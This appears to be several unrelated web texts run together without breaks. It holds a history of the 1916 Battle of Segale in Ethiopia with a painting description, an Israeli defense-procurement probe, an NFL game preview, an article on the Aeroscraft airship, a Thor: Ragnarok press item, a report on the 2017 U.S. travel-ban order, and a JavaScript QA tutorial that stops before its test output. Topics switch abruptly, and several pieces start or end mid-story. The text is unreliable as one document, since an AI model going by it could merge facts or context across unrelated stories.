The nobility of Ethiopia had grown uneasy with the rule of Emperor Iyasu V. At last, when Iyasu failed to observe the important religious holiday of Meskel in the capital Addis Ababa, instead he remained in the predominantly Muslim city of Harar, they decided to strike. A number of nobles met 17 days later on 27 September, and convinced Abuna Mattewos to excommunicate Iyasu on the accusation that he converted to Islam, then announced on the steps of the Palace that Iyasu had been deposed in favor of Empress Zawditu.
The plotters had sent orders to Harar that Iyasu would be arrested, which went astray. Sources dispute exactly what Lij Iyasu's did next. Bahru Zewde states that Iyasu started to march on Addis Ababa, but his advance was blocked at Mieso by 15,000 soldiers and he fled into the Afar desert.[2] Harold Marcus, drawing on the reports filed by the European diplomats, states that instead Lij Iyasu had sent one force towards the capital under Dejazmach Gebre, and another, raised from loyal Afars and Somalis, to secure Dire Dawa; the Dejazmach went over to the opposing army and the Afars and Somalis deserted before reaching the city, and Iyasu fled with his bodyguard to Jijiga.[3] Aleqa Gebre Igziabiher Elyas's narrative supports Marcus in that Iyasu fled to the desert where his Afar supporters helped him.[4] In either case, Harar failed him as a base of support and he took refuge in the desert.
Battle [ edit ]
His father and most important supporter, Negus Mikael of Wollo, was slow to march south upon the capital and restore Iyasu to the throne, not moving until the middle of October. Yet, when he did, the Negus crushed the troops sent against him. On 18 October, Negus Mikael's troops defeated an advance force of 11,000 men in Menz and killed their leader, Ras Lul Seged.[5] Under the command of the regent Ras Tafari (the future Emperor Haile Selassie) and Fitawrari Habte Giyorgis, a force estimated to number between 25,000 and 35,000 marched north to do battle and the two armies came to face each other at Segale on the 22nd.
Afterwards, the then Ras Tafari stated that because "bloodshed among Ethiopians themselves is extremely saddening, I arranged that monks from the monasteries of Debre Libanos and Zequala ... [should] come with their crosses to request Negus Mikael to go back to Wollo without making war." Negus Mikael is said to have simply arrested these emissaries, ignoring their message.[6]
Negus Mikael opened the battle early in the morning, but his artillery was put out of commission by his opponent and his machine-gunners ran out of ammunition.[7] Aleqa Gebre-Igziabiher Elyas, drawing from eyewitness accounts, describes the battle opening with a charge of Negus Mikael's infantry and cavalry. However, the Shewan troops had been trained to fire their rifles in rows and from the prone position, allowing them to fire in quick succession "and felled [them] like leaves." Then the Shewans attacked, "and they pursued the army of Wello and took captives. And particularly the Shewan cavalry went from valley to valley" and overran Negus Mikael's camp."[8] At 3:25 pm, one of the Shewan officers telephoned to the capital that they had won the battle. "The dead are very numerous on both sides."[9] Aleqa Gebre-Igziabiher Elyas explains one cause for this bloodshed was that the two sides did not differ in dress or insignia, and could only distinguish each other by their passwords, which were not always well known to the soldiers.[8] Bahru Zewde succinctly comments: "The Wallo forces were defeated. Negus Mikael was captured. The coup [of 27 September] was now sanctioned by blood."[2]
Aftermath [ edit ]
Negus Mikael defended himself in his corral until his defeat was undeniable, when he surrendered.[10] Amnesty was offered to the soldiers from the losing side, provided that they swear loyalty to the new Empress.[9] However, two of Negus Mikael's chief lieutenants escaped the battle unvanquished: Ras Yimer, who managed to rally some of the defeated army and lead them to Dessie; and Fitawrari Sirah Bizu, who discarded his weapons and battle-dress and slipped from the battlefield in the garb of a sick priest with a single servant, and met up with Ras Yimer in Dessie. Dejazmach Gebre Igziabiher who had been a lukewarm supporter of Negus Mikael sat out the battle, but when the Negus surrendered and he attempted to flee back to Welo, the peasants of Aliyu Amba ambushed and killed him.[10]
As for the deposed Lij Iyasu, he had just reached Ankober by the time the battle ended; he led his small army of 6,000 into the desert back to Dessie, arriving there 8 November and joining with Ras Yimer and Fitawrari Sirah Bizu. When the Imperial army reached that town 10 December, he fled further north to the old stronghold of Amba Mariam, further away from the center of power. "Iyasu could not even slow down the consolidation of the new government," notes Harold Marcus.[11]
Battle of Segale painting [ edit ]
Picture description: The historic tableau originated in the ethnic tradition of Ethiopian artists and was painted with natural colours on canvas around 1920 by an unknown artist in Addis Ababa. The painting is 83x124cm and was made as a commissioned work for Hermann Neitzel, a German born journalist and farmer who runs a cotton plantation cooperative in Meta Hara, Eritrea.The picture is titled the “Battle of Segale”, which took place in 1916. This battle was between Rasta Fari, the future Emperor Haile Selassi and Emperor Lij Iyasu who was supported by his father King Michael. Even if it was merely an internal struggle this battle together with the battle of Adwa 1896 strengthened Ethiopias image as a defender of African independence. You can find a similar tableau of the Battle of Adwa made about 1940, coloured in tempera, in the British Museum in London. Even though the battles happened at different places both paintings use the same pictural figuration in the same landscape. Both paintings could be regarded as an inspiration for Africans around the world and could be seen as a symbol for freedom, not only for Rastas. Translation of the Amharic and Ge´ez words on the painting: 1. “Battle of Segale” (Amharic)
2. “St. George” of “Garden Flower” (Gannata Sege) (Ge´ez)
3. Abbreviations “Ras Tafari” later emperor Haile Selassie
4. “Fitawrari” (generalissimo) “Habta-Giorgis”
5. ?6. “Abana Petros” “Our Father”, father Petros
7. “Tabota Maryam”,(Ark), tabernakel, (Geéz)
8. “Negus” (King) “Michael”
9. “Fitawrari” (generalissimo) “Your-Work is much” Sera Bezu (Ge´ez) References “The Battle of Adwa”, ca. 1940, British Museum, London, Ethno 1974 AF 11.34, Given by H.I. Littler “The Battle of Segale”, ca. 1920, private collection, Hamburg, Germany Translation of the “Battle of Segale” with the help from Orin Gensler, Professor of Linguistics and Philology, University of Addis Ababa, Ethiopia. Picture description by W. Neitzel
The review will be conducted by a special advisory committee headed by Hila Gerstel, a retired district court judge. Other members of the panel are Moshe Kaplinsky, a former Israel Defense Forces deputy chief of staff; Pinhas Buchris, a former Defense Ministry director general; and Shmuel Hollander, a former civil service commissioner.
The panel will probe the commercial and business connections of retired military officers and Ministry of Defense officials as well as their ongoing ties to Israel’s defense establishment, and vice versa.
“The committee will assess the conduct of MoD and the IDF with regard to retired IDF officers and former members of the defense establishment on all commercial and business matters,” according to a July 20 statement from Liberman’s office.
Liberman’s decision to probe the conduct of those involved in the procurement process follows a decision by Germany earlier this week to suspend the planned signing of a memorandum of intent to sell Israel three new Dolphin 2-class submarines pending the conclusion of an ongoing Israeli police investigation.
The estimated €1.2 billion (U.S. $1.4 billion) sale was to be met with significant German government subsidies to ThyssenKrupp Marine Systems, or TKMS, the Kiel, Germany-based shipyard. However, the Israeli agent of TKMS, a former Navy officer, is now in police custody as a key suspect in the ongoing probe.
Local media reported this week that Micky Ganor, the TKMS agent and former officer, is negotiating with authorities to turn state’s evidence — a development that could implicate additional suspects and further incriminate retired Vice Adm. Eliezer Marom, a former commander of the Israeli Navy.
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Marom was released this week from house arrest but remains a key suspect in the so-called Case 3000 Affair, which involves allegations of bribery, breach of trust, money laundering and conspiracy. He served as Israel’s top naval officer from 2007-2011 and has admitted to forcing TKMS to replace its longtime agent with Ganor, yet denies accepting any payment for his highly irregular intervention in industry-agent relations.
In its July 20 announcement, Liberman said the numerous “question marks that have arisen” in the ongoing scandal prompted his decision to launch the sweeping procurement conduct review.
“Retired IDF officers and those of the defense establishment are dedicated, ethical people of integrity that have devoted their adult lives to the defense of this country. Therefore, in light of recent events and the public question marks that have arisen, it’s important to check work processes and conduct. And if need be, to determine clear rules,” Liberman said.
He added that the members selected to serve on the review committee are experts in the defense, legal and civil service aspects of military procurement.
The panel has been directed to present its findings within four months.
The last time the New York Jets and Jacksonville Jaguars met, Mark Sanchez and Maurice Jones-Drew played large roles in an exciting game.
The health -- and protection -- of each could be a factor when the teams meet again Sunday at MetLife Stadium.
Sanchez threw for 212 yards and a touchdown in the ninth start of his career, and Jones-Drew ran for 123 yards and a score Nov. 15, 2009, when the Jaguars won 24-22 on a Josh Scobee field goal as time expired.
It marked the sixth victory in eight all-time meetings for Jacksonville (1-0) over New York (1-0).
Though Sanchez and Jones-Drew each believe they're healthy enough to play at a high level Sunday, their respective teams have taken precautions.
Sanchez underwent tests for a concussion after being sacked four times and dropped to the turf numerous others in last Sunday's 27-24 victory over Dallas. He finished 26 for 44 with two TDs and an interception, though coach Rex Ryan has been adamant the Jets need to protect their quarterback against the Jaguars.
"We need to do a better job of protecting him and we need to be able to run the ball better, so I think that kind of goes hand-in-hand," Ryan said.
Sanchez passed the tests and said he feels healthy.
"I feel good," Sanchez said. "Felt like we just had a physical game and the training staff just wanted to be extra cautious and make sure I'm doing well, especially at the beginning of the season so I can make it through the long haul."
It's the same reason Jacksonville coach Jack Del Rio kept Jones-Drew on the sidelines for most of the fourth quarter in last week's 16-14 win over Tennessee.
The veteran running back is coming off surgery to repair a torn meniscus in January, and Del Rio decided to rest Jones-Drew after he rushed 24 times for 97 yards and had an opening-drive, 21-yard touchdown run.
Del Rio had Jones-Drew on a play count -- something the star back didn't know.
"He's so competitive and he's not happy about it," Del Rio said. "But that's going to happen as we monitor and try to keep him to a certain number of reps as we go throughout this season."
Jones-Drew is confident he's healthy enough to play regularly without having to be monitored.
"Everything is going to work out at the end of the day," he said. "I was upset. I expressed myself. That's what I do. I'm not one to hide them. If you have a problem, you have to tell them. We're working on fixing it. That's all that matters."
Jones-Drew may have to carry more of the offensive load since the Jaguars listed both Pro Bowl tight end Marcedes Lewis and wide receiver Jason Hill doubtful due to injuries. Lewis had two catches for 28 yards while Hill had four for 53.
The Jets have some issues in the backfield as well. Their 45 yards rushing last week were their fewest since gaining 41 on Sept. 22, 2008, against San Diego.
New York may again have trouble getting the running game going against a Jacksonville defense which allowed only 43 yards rushing against the Titans -- the fewest since giving up 32 on Dec. 18, 2008, against Indianapolis.
Shonn Green was ineffective for New York, rushing 10 times for 26 yards.
The burden may fall on Sanchez again to help guide the offense, which hasn't scored a first-quarter touchdown in 16 straight games. Though the Jaguars shut out Tennessee in the opening quarter last week, they ranked 27th in 2010 in first-quarter points allowed.
"Nobody thinks we're going to come out and go three-and-out," Sanchez said. "At least, I hope they don't. But that's not the kind of team we have. We've been a slow-starting kind of team for 16 games or whatever. Something's got to change. Maybe it's our attitude."
Sanchez seemed to make a connection with Plaxico Burress, who played his first regular-season game since 2008. Burress had four catches for 72 yards and a touchdown.
"It feels like I never left," Burress said.
Jacksonville's run-centered offense took off some of the pressure last week for Luke McCown, who was making his first start since 2007. He finished 17 of 24 for 175 yards but lost a fumble.
The Aeroscraft can carry three times more than the biggest military cargo planes over thousands of miles
Heavily backed by the U.S. military, it is now at the prototype stage and is set for its first test flight
It is capable of vertical take off and landing and doesn't even need a landing strip
A radical new kind of airship funded by the US military is about to make its first test flight - and it looks uncannily like the Thunderbird 2 craft from the classic TV show.
The Aeroscraft airship will carry three times as much as the biggest military cargo planes over thousands of miles, use a third of the fuel, and it doesn't even need a landing strip.
It could also have major implications for cargo haulage, and almost everything now laboriously transported across the planet's surface by boat, train and lorry could within years be carried through the skies, its makers claim.
Scroll down for video
International rescue: The silver-skinned Aeroscraft prototype sits in its hangar, where green light reflecting from it makes it look uncannily like Thunderbird Two A concept of the airship on the battlefield, where it could be used to transport tanks and soldiers directly onto the front line
The radical design has been likened to that of Thunderbird 2
California-based aviation firm Aeros, with heavy backing from the U.S. military, has been developing their revolutionary Aeroscraft for several years, and they say the airship is now in its final stages.
They have built a prototype which they hope will finally prove the concept works in practice and allow them to fine tune their systems.
At 77m (250ft) in length, it is just half the size of the final model, but has been built with the same rigid structure, flight control systems and landing gear.
Now all that needs to be done is for it to demonstrate the vertical take-off and landing that will make possible the point-to-point delivery features that will make it perfect for the commercial market.
The finished version of the Aeroscraft - expected to be ready in three years - will carry a payload of 66 tons at a speed of 120 knots, upto 18,000ft with a range of 3000 nautical miles.
That could revolutionise air transport, opening up remote areas where there is practically no other means of access.
It could carry relief supplies for victims in disaster areas, heavy oil-extraction equipment to northern Canada's tar sands, huge turbines to remote wind farms and, of course, heavy military equipment to battlefields worldwide.
Fill 'er up: At 77m (250ft) in length, the prototype Aeroscraft is just half the size of the final model, but has been built with the same rigid structure, flight control systems and landing gear
The 'skeleton' of the airship being built in California
The key breakthrough has been the development of an internal system for managing ballast.
Previous airships have been held back by the need to weigh them down or tie them up while cargo is unloaded, lest they are suddenly carried away on the breeze.
But the Aeroscraft's internal ballast management system gives its operators the ability to control the aircraft's buoyancy by compressing the helium inside its tanks to make it heavier than air and bring down to the ground.
Once cargo has been loaded, the airship can rise by re-releasing the compressed helium into its containment tanks, making it again lighter than air, then using turbo-prop engines to control its diretion.
Because of this revolutionary system, Aeroscraft needs no airfield to operate, only a cleared area large enough for it to vertically take off and land, and enough labour on hand to unload the cargo.
Limited: Conventional airships are held back by the need for infrastructure that can enable ground crews to fill them with ballast as they are unloaded to stop them from floating away on the breeze
Internal ballast: The Aeroscraft, by contrast, is able to control its buoyancy using an internal ballast management system which means it can land anywhere that there is space to touch down
Aeros's founder and CEO Igor Pasternak, 48, told Gizmag: 'The advantage is you don’t need ground infrastructure. You can fly anywhere, you can land anywhere, you don’t need any ballast, you don’t need any ground crew.'
The airship has long been known as a 'dream machine' for visionary inventors.
AEROSCRAFT FACTS Top speed: 120 knots
Range: 3,000 nautical miles
Ceiling: 18,000ft
Cargo capacity: 66 tons
Count Ferdinand Graf von Zeppelin built the first airship in 1900 as a weapon for Germany. The 'Graf Zeppelin' was developed by Dr Hugo Eckener, who flew it around the world in 21 days in 1929.
This powerful symbol of German might was adopted by the Nazis, who funded the creation of the largest airship yet, the Hindenburg.
However, on May 6, 1937, the Hindenburg burst into flames on a trip to the US, having been filled with patriotic German hydrogen instead of American helium.
But Ukrainian-born Mr Pasternak says that his design for a rigid airship is miles apart from the disastrous versions of the early 20th Century.
He told Gizmag: 'From the structure stand point, all of us are familiar with the Hindenburg and Zeppelin designs.
'This is different. We built a space frame that sits inside of the vehicle and around the frame we built a rigid cell. The function of the rigid cell is to have it work with the aerodynamic laws. It’s a very simple approach.
'It also allows us to build vehicles very rapidly. When you’re talking about the production of vehicles, you need the ability to build number of them in a short term and with the frames you can do this.'
The future: An artist's impression shows how the Aeroscraft might look as it picks up cargo from a distribution centre. Finished models will carry 66 tons over a distance of 3,000 nautical miles at 120 knots
The ship could also be used for major construction projects such as building large pipes, as it does not require a runway to land
The U.S. military has been a key player in the development of the Aeroscraft, with the Pentagon and Nasa giving Aeros a total of $36million towards its research.
'Without the initial funding of the Ministry of Defence it would not be possible to bring such a project to roll,' Mr Pasternak told FT Deutschland.
Accordingly, the first operational versions have already been earmarked for 'intra-theatre airlift', Defense Transportation Journal reports, with each carrying the payload of three C-130 transport planes, but with the fuel cost of just one.
BEVERLY HILLS — The review embargo for “Thor: Ragnarok” isn’t up yet, but if you’ve been following social media reactions, it’s clear the breakout star is Tessa Thompson.
The 34-year-old actress is best known for her work in Ryan Coogler’s “Creed,” but she’s had standout performances in the movie version of “Dear White People,” “For Colored Girls” and HBO’s “Westworld.” In ‘Ragnarok,’ Thompson takes the mantle of the sole remaining Valkyrie, a warrior goddess of Asgard who has become disillusioned with Odin’s reign and meets up with Thor (Chris Hemsworth) on Sakaar, a planet run by the Grandmaster (Jeff Goldblum). Thompson practically steals every scene she’s in and the LA native pulls off the British, er, Asgardian accent perfectly.
The good news about Thompson’s performance is that her character is a mainstay in the Marvel Comics Universe. Valkyrie has been around since 1970 and was a longtime member of The Defenders, a one-time Avenger (O.K., Secret Avenger) and had her own title at one point. And Thompson is already returning as Valkyrie in “Avengers: Infinity War” next May.
READ MORE: Taika Waititi Talks Adapting ‘Akira,’ Appears In New ‘Thor: Ragnarok’ Clip
During a press conference for ‘Ragnarok’ on Wednesday, however, Thompson offered up that she and some other female stars of the Marvel Cinematic Universe approached Marvel Studios head honcho Kevin Feige about an all-woman super-hero team movie.
Thompson had been asked if there were any plans for a solo “Valkyrie” movie and Feige had responded, “Pretty good idea.”
The Thompson noted, “Recently I marched up with a couple of other women who work in Marvel and [asked Kevin] “How about a movie with some female superheroes? Like all of them.”
Feige says, “It was a pretty amazing moment to be somewhere and have your shoulder be taped and turn around find every female hero we have is standing there going, ‘How about it?’ And I said ‘yes.'”
That elicited some good-natured laughs and smiles from the other ‘Ragnarok’ stars on the dais, but make no mistake, Feige had a serious look on his face on the subject.
And Thompson added, “There’s a precedent for it in the comics with the Lady Liberators [and others].”
Genuinely surprised, Feige responded with, “Deep cut! Lady Liberators!”
Could a female “Avengers” movie be in the works? Could Marvel have its own “Birds of Prey” in theaters soon? “Captain Marvel” is coming first, but with the number of women heroes in the MCU finally growing beyond Black Widow (Scarlett Johansson) with The Scarlet Witch (Elizabeth Olsen), The Wasp (Evangeline Lilly), the aforementioned Captain (Brie Larson), Gamora (Zoe Saldana) and even “Black Panther’s” Okoye (Danai Gurira) it’s closer to reality than you might think.
And if the fans demand it? Well…
“America is a proud nation of immigrants and we will continue to show compassion to those fleeing oppression, but we will do so while protecting our own citizens and border,” Trump said in an afternoon statement that also cited what he described as precedent set by former President Barack Obama. “To be clear, this is not a Muslim ban, as the media is falsely reporting. This is not about religion — this is about terror and keeping our country safe."
Story Continued Below
Trump — who also took the time Sunday to accuse Sens. John McCain and Lindsey Graham of “looking to start World War III” — and his aides struggled to stay on message as protests spread and global outrage grew over the executive order. The directive effectively bars entry to the United States by people ranging from Iraqi translators to Syrian refugees to many international college students. It initially was said to apply to legal U.S. permanent residents — so-called green card holders — as well as many foreigners with multiple nationalities.
Conflicting interpretations spurred Homeland Security Secretary John Kelly to clarify that green card holders were indeed exempt from Trump's broad order.
"In applying the provisions of the president's executive order, I hereby deem the entry of lawful permanent residents to be in the national interest," Kelly said in a statement Sunday evening. Some permanent residents were caught up in the weekend's confusion as they attempted to return from overseas visits.
Thousands gathered outside the White House to demand Trump rescind the order — one of many protests nationwide. Prominent Republicans and foreign leaders chided Trump, warning that the order could backfire by inspiring terrorists. Democrats lunged for the political opening, vowing legislation to repeal the order and hinting at lawsuits filed by state attorneys general. Meanwhile, a string of rulings from judges halted the deportation of travelers caught in the drama, but also bewildered U.S. officials unsure how to enforce Trump’s order.
The developments underscore the haphazard approach the Trump administration has taken toward using its political power. Trump issued the order Friday with little notice to or input from the Department of Homeland Security, the State Department or other agencies critical to implementing it, according to multiple sources. The order's complexity left administration lawyers scrambling to interpret it as advocacy groups filed lawsuits.
Trump did not appear moved by the chaos.
In his statement, he asserted that Obama had “banned visas for refugees from Iraq for six months” in 2011. Actually, the Obama administration, reacting to intelligence indicating some refugees may have had terrorist ties, had instituted additional security checks, severely slowing down the visa issuance process. Trump also noted that the seven countries targeted by his order were also listed by Obama as potential terror sources.
Early Sunday, Trump tweeted: "Our country needs strong borders and extreme vetting, NOW. Look what is happening all over Europe and, indeed, the world — a horrible mess!" Later in the morning, he sent out another tweet: "Christians in the Middle-East have been executed in large numbers. We cannot allow this horror to continue!"
On Sunday evening, a senior administration official said “the guidance from the beginning” was that legal U.S. permanent residents were exempt from the executive order. He denied reports that the White House had overruled Homeland Security officials in deciding that legal permanent residents were subject to additional vetting before they would be allowed back inside the United States. But the official acknowledged that some 170 legal permanent residents caught up in the drama have had to apply for waivers to be allowed back in, though he stressed that all received the waivers.
“Some of the confusion stems from the semantic debate about the meaning of the word exemption,” the official told reporters. “Every false, misleading, inaccurate, hyperventilating, confused, misguided or other kind of report again covers a fractional marginal minuscule percentage of travelers to our airports on any given day.
“It really is a massive success story in terms of implementation on every single level,” said the official, who spoke on condition of anonymity.
Opponents of the executive order bristled at the notion that just because a small number of people were affected that it didn’t matter.
Ibrahim Lutfi and his relatives are natives of Sudan. Lutfi said his nephew, Ali Nadeeb, is a diabetic who has been in a coma at Howard University Hospital in Washington, D.C. Ali’s mother planned to fly to the U.S. from Qatar to visit her son, but she was not allowed to board the plane despite having obtained a proper visitor’s visa, said Lutfi, who added that he became a U.S. citizen eight years ago. On Sunday, he joined hundreds of people protesting the Trump order at Dulles International Airport near Washington.
"It's her only son," Lutfi said, holding a sign with a picture of a smiling Ali alongside a second image of him in a hospital bed.
Trump's executive order, issued Friday, has many elements, but its main features include an indefinite ban on Syrian refugees, a pause for all refugee admissions to the United States, and the temporary suspension of all visa holders from seven Muslim-majority countries: Iran, Iraq, Syria, Somalia, Sudan, Yemen and Libya.
In his Sunday afternoon statement, Trump pointed out that more than 40 Muslim-majority countries were not singled out in the order. He also noted that the suspension of entries from those countries was temporary until the administration undertook a review and determined within 90 days that the safeguards involved in screening those travelers were strong enough.
But Trump failed to mention that the conditions he has set in his executive order may not be able to be met by some or possibly all of those countries. The president wants, for instance, for the countries to share information with the U.S. to help it vet travelers. But some of the countries are weakly governed, wrecked by war or do not have diplomatic ties with Washington, making it possible their citizens could be indefinitely barred from entering the United States. (U.S. officials have long used other measures to vet citizens of the seven countries.)
U.S. officials also said initially that people with multiple citizenships also are barred from entering the United States if one of their nationalities is from the seven countries. But even that was up for debate, especially as Canada said it was told its dual nationals would not be affected, and British Foreign Secretary Boris Johnson announced he’d obtained assurances that U.K. citizens who hold one of the seven countries’ nationalities also were exempt so long as they were not traveling to the United States from one of the seven countries.
Activists gather near the White House to protest President Trump's temporary ban on immigration on Jan. 29. | John Shinkle/POLITICO
A Homeland Security official late Sunday said that it all could depend on the passport a traveler decides to use. “[Customs and Border Protection] processes individuals based on the passport they present. In other words, if a French dual national presents their French passport, they are good to go,” the official said. She did not reply to follow-up questions about why the interpretations had changed.
The executive order took immediate effect Friday, and the result was panic and confusion at airports across the country over the weekend as some travelers' legal status changed midflight. Those caught up included an Iraqi who obtained a special U.S. visa for helping American troops, as well as legal U.S. permanent residents returning from trips abroad. Lawyers rushed to airports to help the stranded on Saturday, while protesters did, too, jamming up streets outside major points such as O’Hare International Airport in Chicago and New York’s John F. Kennedy International Airport.
Demonstrations continued nationwide Sunday. Hundreds of people streamed into Lafayette Square outside the White House, waving flags and signs. "No hate! No fear! Refugees are welcome here!" the crowd shouted. At Dulles, protesters cheered midday Sunday as passengers arrived on a plane from Saudi Arabia. Some of the travelers, whose exact nationalities were unclear, were obviously distressed. As they met their relatives, the crowd shouted "Welcome!" and "Glad you're here!"
On the legal front, U.S. officials tried to nail down the implications of a flurry of rulings from judges across the country that effectively barred customs and border agents from deporting the detained. The initial ruling came from Judge Ann Donnelly, a federal judge in Brooklyn appointed by Obama, on Saturday. Throughout much of the weekend, even as the Department of Homeland Security promised it would abide by the courts’ demands nationwide and let in green card holders, there were reports of border agents saying they would continue to put people on planes leaving the United States.
Senate Minority Leader Chuck Schumer (D-N.Y.) pledged that the minority party will propose legislation to overturn Trump’s executive order. Separately, 16 state attorneys general, including those from California and New York, spoke out against the executive order and warned that they will “use all of the tools of our offices to fight this unconstitutional order and preserve our nation’s national security and core values.”
Other Trump aides repeatedly tried to downplay the situation.
“There’s 325,000 people from foreign countries that traveled into the United States yesterday," White House spokesman Sean Spicer told ABC News on Sunday. "There are 109 people that this actually addressed that had come in post-entry from seven countries that we’ve identified."
Spicer further rebutted reports that the administration had blindsided its own agencies, claiming the White House told the "people that needed to know" about the order in advance. Still, he added, much of it was kept secret to prevent a sudden surge of people trying to reach America.
"What we couldn't do was telegraph our position ahead of time to ensure that people flooded in before that happened, before it went into place," he said. "If we had telegraphed that ahead of time, then that would have been a massive security problem."
Although Trump’s insisted the executive order does not amount to a ban on Muslims because many Muslim-majority countries are not included, his chief of staff, Reince Priebus acknowledged to NBC that the number of countries covered by the order could expand. As it stands, nations such as Saudi Arabia and Pakistan, whose citizens have been involved in major terrorist attacks against America, aren't covered by the order.
Numerous Democratic lawmakers have blasted the order, and Trump's fellow Republicans have started to splinter.
McCain (R-Ariz.) and Graham (R-S.C.) warned in a joint statement that the executive order could bolster recruitment by terrorists who claim the West hates Muslims.
“Ultimately, we fear this executive order will become a self-inflicted wound in the fight against terrorism,” McCain and Graham said.
House Homeland Security Committee Chairman Michael McCaul (R-Texas), one of the most hardline members of Congress on immigration, praised the order Friday. But by Sunday evening, he said it's "clear adjustments are needed."
"We should not simply turn away individuals who already have lawful U.S. visas or green cards — like those who have risked their lives serving alongside our forces overseas or who call America their home," McCaul said. "In the future, such policy changes should be better coordinated with the agencies implementing them and with Congress to ensure we get it right — and don’t undermine our nation’s credibility while trying to restore it.”
Trump fought back against McCain and Graham in a pair of tweets released around the same time his office issued his statement defending the refugee order.
“The joint statement of former presidential candidates John McCain & Lindsey Graham is wrong - they are sadly weak on immigration. The two...Senators should focus their energies on ISIS, illegal immigration and border security instead of always looking to start World War III,” Trump wrote of two men, who have long disdained him.
Senate Majority Leader Mitch McConnell tried to strike a balance in an interview with ABC, insisting that while he opposes religious tests for people entering the country, additional vetting isn't a bad idea.
"We need to remember that some of our best allies in the war against Islamic terrorism are Muslims," the Kentucky Republican added, pointing out that those allies include interpreters in war zones overseas. Trump's order could in particular bar many Iraqi interpreters who've applied to a special U.S. visa program.
Still, Trump's tweet earlier Sunday about Christians undercut some of McConnell's arguments. The president’s executive order makes a point of directing U.S. officials to give priority to religious minorities once the refugee program resumes, and in many cases that implies Christians. But although Christians have been treated viciously in several of the countries affected by the order, many Muslims have, too, especially those in the minority Shiite branch of Islam. In any case, Trump's executive order de facto bars Christians from Syria and beyond; two Syrian Christian families who landed in Philadelphia were sent back to Qatar following the order.
Also chiming in on the debate in the United States were foreign heads of government. Canada's Justin Trudeau tweeted that his country remained open to refugees, while German Chancellor Angela Merkel and British Prime Minister Theresa May criticized the order.
The dismay over the fallout extended even to Hollywood. Oscar-winning Iranian director Asghar Farhadi is reported to be skipping this year’s awards, for which he is nominated in the foreign language film category for "The Salesman," because he is barred from entering the United States under Trump’s order.
So far for developing with PHP, but what about JavaScript? Are there any tools for quality assurance? Yes! Is it really necessary to do JavaScript QA? Oh yes! Since JavaScript is becoming one of the hottest programming languages for web (and mobile) development, there is no doubt that that we need some way to check the functionality and measure the code quality. Before I will show you some really cool tools and some easy steps on how to set up your own quality assurance environment, let me say a few words on how the increasing popularity of Javascript is affecting the requirements we have on QA for JavaScript and how it is different to QA for PHP. . A couple of years ago, JavaScript was only used for some (unneeded) animation, called DHTML, and for simple form validations. The AJAX hype gave JavaScript a second chance and from this point the lines of JavaScript code where spreading. In other words, most developers haven´t seen the necessity of writing down something similar to unit tests only for some small piece of JavaScript code, they use Firebug for debugging and it works fine for the moment. Another reason why JavaScript QA is different from PHP QA lies in the nature of JavaScript. Whereas PHP is mostly executed on a (Apache) server JavaScript is executed on many different environments and devices that don´t follow common rules and standards. That´s why the requirements for any QA tools are really difficult, because you want to cover a huge amount of environments and devices- otherwise you can only guaranty that your source code runs correctly on a certain device and I´m sure that´s not your intention. In addition, don´t forget the dynamic of JavaScript. It´s easy to extend the range of functions of JavaScript (because of it´s prototypical inheritance) or think of all the functions that come up with the environment, for example the Firefox File API. All these dynamic is really really hard to cover for QA. And last but not least, JavaScript is an interpreted language not a compiled one, this means there is no static code analysis that check the syntax tree like it’s done during compiling in other programming languages. So we have indicated two very simple requirements for JavaScript quality assurance: we need something to check our syntax and we need something that tests our code with many different environments/browser and devices. Ok, enough for the moment, let´s introduce our first tool: jsLint.
jsLint
This is not a completely new tool, invented by Douglas Crockford, jsLint is a JavaScript syntax parser written in JavaScript that does not need a browser for its syntax checks. You can use jsLint in many different ways, I prefer the Java wrapper for jsLint as a command line tool, see jslint4java [http://code.google.com/p/jslint4java/]. JsLint (and also jslint4java) comes up with a lot of possible optional parameters to define how strict your code should be checked.
Here is an first example of jsLint (called from the commandline via jsLint4java):
Not only syntax errors like the missing semicolon at the end of a line or a comma after the last entry of an array are considered, mixing spaces and tabs or a wrong indention will be checked as well. Using jsLint4java allows you to print the results into defined XML files. On the way to our own JavaScript QA environment we have entered our first milestone: We check our syntax tree with jsLint, in other words we do a static code analysis- cool!
From now on our source code quality will be checked by jsLint, but this doesn´t guaranty that our functions work well. This is the point where we should think about unit tests. There are a lots of great unit testing tools for JavaScript and nearly every frameworks comes up with its own implementation. To fit the requirement I have mentioned before, run the tests on many different environments (browsers) and devices, we need not only a standalone unit testing tool, we need something that runs the tests on these environments and devices. This is the point where our second tool enters the stage: please say hello to Googles jsTestDriver.
JsTestDriver
JsTestDriver is pretty easys to use it consist of a single JAR file which contains everything you need to get started. Here is an overview of how JsTestDriver works at runtime:
This tool combines an independent test framework and a testrunner to execute the tests on many different environments and devices.
This is the general architecture of jsTestDriver
Therefore the tool starts a simple HTTP server to connect with your browser. From this point your browser is marked as a “browser to test”, this process is called “capturing”. There are only two steps left to run tests on the captured browsers. Step one is to write down some tests and step two is to trigger the execution of the tests from the command line of your system. Furthermore for jsTestDriver it doesn´t matter whether you are executing your tests from Windows, Mac or any Linux operation system you can capture a browser form any remote system or a mobile device. By the way, it´s not strictly needed to add a browser by visiting the “capture page”, it´s also possible to pass the path to the browser to an optional command line parameter (–browser). In this case jsTestDriver will open the browser, execute the tests and shut down the browser. For writing the tests jsTestDriver provides a huge amount of assertions but it´s also possible to write the tests with nearly every test framework of your choice by using an adapter for it. By starting the tests, all tests will be sent over HTTP to all captured browsers and executed, the results will be sent back to the server and will be displayed by default at the screen. An export of the results into a XML file is also possible.
Here is a short example how a test for jsTestDriver could look like
MathmaticsTest = TestCase(„MathmaticsTest“);
MathmaticsTest.prototype.testAdd = function() {
var mathmatics = new school.Mathmatics();
assertEquals(3, mathmatics.add(1,2));
} MathmaticsTest.prototype.testSub = function() {
var mathmatics = new school.Mathmatics();
assertEquals(1, mathmatics.sub(4,3));
} MathmaticsTest.prototype.testDiv = function() {
var mathmatics = new school.Mathmatics();
assertEquals(4, mathmatics.div(8,2));
} MathmaticsTest.prototype.testMultiple = function() {
var mathmatics = new school.Mathmatics();
assertEquals(9, mathmatics.multiple(3,3));
Executing the tests ends in a result like this:
